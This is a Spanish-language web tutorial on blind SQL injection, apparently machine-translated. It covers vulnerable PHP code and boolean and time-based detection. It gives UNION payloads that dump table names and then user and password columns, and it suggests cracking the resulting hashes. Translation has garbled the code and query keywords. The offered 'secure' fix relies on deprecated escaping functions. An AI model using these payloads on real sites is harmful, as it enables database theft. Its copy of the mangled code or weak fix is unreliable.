Seguridad

Tutorial de técnicas de inyección SQL ciega

Tutorial de técnicas de inyección SQL ciega

¿Qué es la inyección SQL??

La inyección SQL es un tipo de ataque a la base de datos en el que un atacante intenta robar información de la base de datos de una aplicación web. Esto incluso puede resultar en la ejecución remota de código según el entorno de la aplicación web y la versión de la base de datos.

La inyección de SQL ocurre debido a una desinfección deficiente de la entrada del usuario. Si recibe información del usuario en algún lenguaje de codificación (PHP, ASP.NET) y pasarlo directamente a la base de datos del servidor sin aplicar ningún filtro en la entrada, esto puede resultar en una vulnerabilidad de inyección SQL.

Por ejemplo, el siguiente código PHP es vulnerable al ataque de inyección SQL porque pasa directamente la entrada del usuario a la base de datos. El atacante puede crear su propia consulta de base de datos maliciosa para extraer datos de la base de datos.

// La entrada del usuario se almacena en la variable id
$ id = $ _GET ['id'];
// La entrada del usuario se ejecuta directamente en la base de datos
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = '$ id'";
// En caso de error o éxito, los resultados se devuelven al usuario
$ resultado = mysql_query ($ getid) o morir ('
' . Error de MySQL() . '
');
$ num = mysql_numrows ($ resultado);

Por otro lado, se proporciona un ejemplo de código seguro de dicho código para interactuar con la base de datos. Toma la entrada del usuario y filtra cualquier carácter malicioso, luego lo pasa a la base de datos.

$ id = $ _GET ['id'];
$ id = stripslashes ($ id);
$ id = mysql_real_escape_string ($ id);

Inyección SQL normal vs ciega

Inyección SQL normal

En la inyección SQL normal, si un atacante intenta poner una comilla simple (') como entrada, cuando esta comilla simple se ejecuta en la base de datos, la base de datos responde con un error. El error se imprime en el navegador del atacante.

El código responsable de este error es

// si la base de datos responde con un error, se ejecuta la función "or die ()"
para imprimir el error
$ resultado = mysql_query ($ getid) o morir ('
' . Error de MySQL() . '
');

En la inyección SQL normal, el atacante puede ver los resultados del error y es fácil de identificar y explotar.

Inyección SQL ciega

En el caso de Blind SQL Injection, cuando se ejecuta una consulta maliciosa, como una comilla simple, el error de la base de datos no se muestra en el navegador del atacante o se muestra de una manera muy genérica que el atacante no puede identificar y explotar fácilmente.

El código de backend responsable de esto se proporciona a continuación

$ resultado = mysql_query ($ getid); // Eliminado 'or die' para suprimir errores de mysql

En Blind SQL Injection, el atacante no puede ver los resultados completos, por lo tanto, este tipo de SQLi es difícil de identificar y explotar, pero tiene el mismo nivel de riesgo que el SQLi normal.

Técnicas para detectar la inyección SQL ciega

Si bien la inyección SQL normal se puede detectar enviando comillas simples (') como entrada y examinando el error de salida, la inyección SQL ciega no se puede detectar usando esta técnica porque no muestra ningún error SQL. Hay muchas técnicas para detectar una inyección SQL ciega, algunas de ellas se dan a continuación

Detección basada en VERDADERO y FALSO

Una de las características de las bases de datos, incluido MySQL, es el comportamiento diferente en declaraciones verdaderas y falsas. Incluso si la base de datos no muestra ningún error, podemos decidir usar el uso de declaraciones verdaderas y falsas. Considere el siguiente escenario,

La siguiente página es vulnerable a la inyección de SQL ciego, dándole una declaración verdadera se mostrarán todas las entradas en la base de datos

1 'o 1 = 1 #

Dar una consulta falsa como entrada no mostrará ningún dato.

1 'o 1 = 2 #

Incluso la página web no muestra ningún error, la diferencia entre las dos páginas indica que nuestras consultas se están ejecutando con éxito en la base de datos.

Detección basada en TIEMPO

Hay una función en las bases de datos que incluyen MySQL, MS-SQL y otras para retrasos. Podemos usar la función SLEEP () en nuestra consulta, si la respuesta de la base de datos es lenta, eso significa que nuestra consulta se ejecuta con éxito y la página web es vulnerable a la Inyección SQL ciega.

1 'Y dormir (15) #

Hay otra función "BENCHMARK" que consume mucho tiempo y que se puede utilizar para retrasar la respuesta de la base de datos

1 'Y COMPARATIVA (10000000, SHA1 (1337)) #

La línea anterior ejecutará la función SHA1 () 10000000 veces en la base de datos, lo que agregará una cantidad significativa de retraso en la respuesta.

Inyección SQL ciega basada en tiempo en otras bases de datos

MS SQL: ID = 1; espera por retraso '0: 0: 10'-

SQL de ORACLE: Y [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [HORA DE DORMIR])

PostgreSQL: AND [RANDNUM] = (SELECT [RANDNUM] FROM PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Extraer información de la base de datos

El primer paso para extraer la base de datos es determinar los números de columna en la base de datos. Luego intente encontrar columnas vulnerables para extraer más datos.

La inyección SQL ciega se comporta de manera diferente con diferentes números de columna en la consulta "ordenar por".

1 'orden por 1 #

La afirmación anterior es cierta porque siempre existe al menos 1 columna en una base de datos. Ahora intente con un número muy grande.

1 'pedido por 10000 #

La respuesta de la base de datos es diferente a la anterior. Ahora prueba con 2 columnas.

La declaración funcionó, eso significa que la base de datos tiene 2 o más columnas. Ahora prueba con 3 columnas.

1 'orden por 3 #

La base de datos no ha enviado ninguna respuesta, eso significa que la base de datos tiene solo 2 columnas. Ahora intentaremos volcar la lista de tablas en la base de datos, usaremos la siguiente consulta para eso

1 'unión todos seleccionar 1, group_concat (table_name) from information_schema.
tablas donde table_schema = database () #

Hay dos tablas en la base de datos backend "libro de visitas y usuarios". La tabla "usuarios" puede contener nombres de usuario y contraseñas. Para extraer los nombres de las columnas de la tabla, inserte la siguiente consulta.

1 'unión todos seleccionar 1, group_concat (column_name) from information_schema.
columnas donde table_schema = database () #

Ahora hemos extraído los nombres de las columnas, esto incluye las columnas de usuario y contraseña. Estas columnas almacenan los nombres de usuario de los clientes y sus contraseñas.

Ahora intentaremos extraer los datos usando la siguiente consulta

1 'union all seleccione 1, group_concat (usuario, contraseña) de los usuarios #

Y así es como puede explotar Blind SQL Injection sin depender de errores. Las contraseñas de salida tienen hash la mayor parte del tiempo, que se pueden descifrar con herramientas como John The Ripper o Hashcat.

Conclusión:

La inyección SQL ciega es el tipo de SQLi que no muestra errores en la base de datos o responde con un mensaje muy genérico. Por eso es muy difícil identificar la vulnerabilidad de Blind SQL Injection en una página web. Una vez detectado, puede explotarlo fácilmente mediante un proceso manual o automatizado utilizando SQLmap.

Las mejores distribuciones de Linux para juegos en 2021
El sistema operativo Linux ha recorrido un largo camino desde su apariencia original, simple y basada en servidor. Este sistema operativo ha mejorado ...
Cómo capturar y transmitir su sesión de juego en Linux
En el pasado, los juegos solo se consideraban un pasatiempo, pero con el tiempo la industria del juego experimentó un gran crecimiento en términos de ...
Los mejores juegos para jugar con el seguimiento de manos
Oculus Quest presentó recientemente la gran idea del seguimiento manual sin controladores. Con un número cada vez mayor de juegos y actividades que ej...